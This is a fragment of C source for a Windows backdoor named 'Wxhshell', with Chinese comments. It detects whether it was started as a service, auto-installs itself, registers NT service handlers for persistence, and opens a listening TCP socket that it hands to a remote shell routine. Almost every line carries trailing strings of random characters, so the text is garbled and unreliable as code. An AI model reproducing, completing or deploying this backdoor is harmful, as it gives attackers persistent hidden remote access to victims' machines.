ULONG UniqueProcessId; nd(S3rct&
ULONG InheritedFromUniqueProcessId; ,PZ ge
} PROCESS_BASIC_INFORMATION; BC]?0 U
x :7IIvP
PROCNTQSIP NtQueryInformationProcess; {|\.i
8] ikygt"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KF/-wZ"1s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bxWa oWE0
+O5hH8<&b
HANDLE hProcess; 7Qsgys#/=
PROCESS_BASIC_INFORMATION pbi; or]IZ2^n
ap~^Ty<>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ewm9\qmg
if(NULL == hInst ) return 0; GF
WA>5n'
p#[.{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {PmZ9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &/b~k3{M_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tjnIN?YT
80;(Gt@<"
if (!NtQueryInformationProcess) return 0; }`"6aM
X?$_Sd"G+5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <t,x RBk
if(!hProcess) return 0; ZB&6<uw
ETLD$=iS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oRzi>rr
c|1&lYal;
CloseHandle(hProcess); |)81Lz
{iLT/i%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s{" 2L{,$
if(hProcess==NULL) return 0; yEoV[K8k
JCaOK2XT;
HMODULE hMod; 0;ji65
char procName[255]; 9/7u*>:
unsigned long cbNeeded; cAc@n6[`3
N&pCx&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NCx%L-GPi
L6LZC2N+2
CloseHandle(hProcess); wf$s*|z
:aQt;C6Z>
if(strstr(procName,"services")) return 1; // 以服务启动 j5ve2LiFV%
l+R+&b^
return 0; // 注册表启动 y Wya&|D9
} Q&V;(L62!
E!#WnSpnK
// 主模块 _y>~
yZx
int StartWxhshell(LPSTR lpCmdLine) /=, nGk>
{ "vslZ`RU
SOCKET wsl; Q|L~=9
BOOL val=TRUE; wT\49DT"7
int port=0; qv"$Bd:]r
struct sockaddr_in door; o lxByzTh>
O<\@~U
if(wscfg.ws_autoins) Install(); j)GtEP<n#
BSMwdr
port=atoi(lpCmdLine); V_:&S2j
:h V7>
rr
if(port<=0) port=wscfg.ws_port; S@Hf
&hJ
)Beiu*
WSADATA data; ?rup/4|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3&/Ixm:
${)b[22":
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #=v~8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9M9?%N:ra
door.sin_family = AF_INET; (khL-F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F:l%O#V
door.sin_port = htons(port); uH-)y,2&
BCcjK6'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h=%_Ao<x
closesocket(wsl); @gtQQxf"
return 1; <rmvcim{*
} lA-h`rl/
l0hlM#
if(listen(wsl,2) == INVALID_SOCKET) { _7)n(1h[3b
closesocket(wsl); ->{KVPHe{
return 1; g>9kXP+
} d'I"jZ
Wxhshell(wsl); w'3iY,_ufC
WSACleanup(); -S+zmo8
{u9}bx'<
return 0; D1mfm.9_r^
p[lA\@l[
} GDy9qUV
gGS=cdlV
// 以NT服务方式启动 Rx|;=-8zg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i2^>vYCsl
{ Y]5l.SV
DWORD status = 0; Zsh9>]ML
DWORD specificError = 0xfffffff; Pco'l#:
v 6Vcjm
serviceStatus.dwServiceType = SERVICE_WIN32; lu6(C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $lut[o74
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n\.V qe
serviceStatus.dwWin32ExitCode = 0; LYg-
.~<I
serviceStatus.dwServiceSpecificExitCode = 0; HX{`VahE
serviceStatus.dwCheckPoint = 0; t!\tF[9e
serviceStatus.dwWaitHint = 0; XF_pN[}
lUiL\~Gq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /[>sf[X\I9
if (hServiceStatusHandle==0) return; T${Q.zHY[!
N{~YJ$!8
status = GetLastError(); ]]juN
if (status!=NO_ERROR) @Pzu^
{ E=w1=,/y
serviceStatus.dwCurrentState = SERVICE_STOPPED; 14'45
serviceStatus.dwCheckPoint = 0; .k
\@zQ|Ta
serviceStatus.dwWaitHint = 0; .eP.&
serviceStatus.dwWin32ExitCode = status; g|Fn7]G
serviceStatus.dwServiceSpecificExitCode = specificError; Dl8;$~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M {Q;:
return; wIBO
^w\J
} 8Dm%@*B^b
$"&{aa
serviceStatus.dwCurrentState = SERVICE_RUNNING; BFJnV.0M!
serviceStatus.dwCheckPoint = 0; [R7Y}k:9U
serviceStatus.dwWaitHint = 0; s&!a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '-/xyAzS
} k,F6Tx
xpx\=iAe
// 处理NT服务事件,比如:启动、停止 A6iq[b]
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nl(3Xqov
{ K>l~SDcZ3
switch(fdwControl) 78H'ax9m
{ yqiq,=OvP
case SERVICE_CONTROL_STOP: qc~iQSI
serviceStatus.dwWin32ExitCode = 0; e01epVR;
serviceStatus.dwCurrentState = SERVICE_STOPPED; !o[7wKrXb
serviceStatus.dwCheckPoint = 0; d6sye^P
serviceStatus.dwWaitHint = 0; {Fe[:\
{ -{vKus
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \A6B,|@
} *%t^;&x?
return; M>8A\;"
case SERVICE_CONTROL_PAUSE: k/gZ,
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q7COQ2~K
break;
H =^`!
case SERVICE_CONTROL_CONTINUE: Sw^u3
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~PahoRS
break; Ziu]'#
case SERVICE_CONTROL_INTERROGATE: nSAdCJ;4
break; wtV#l4
}; fCobzDy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g]yBA7/S"
} yU}qOgXx
8d-t|HkN
// 标准应用程序主函数 df #$9-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :e%Pvk
{ 1!T1Y,w
=-lb)Z"d
// 获取操作系统版本 {9aE5kR
OsIsNt=GetOsVer(); "djw>|,N<
GetModuleFileName(NULL,ExeFile,MAX_PATH); tlp@?(u
3az&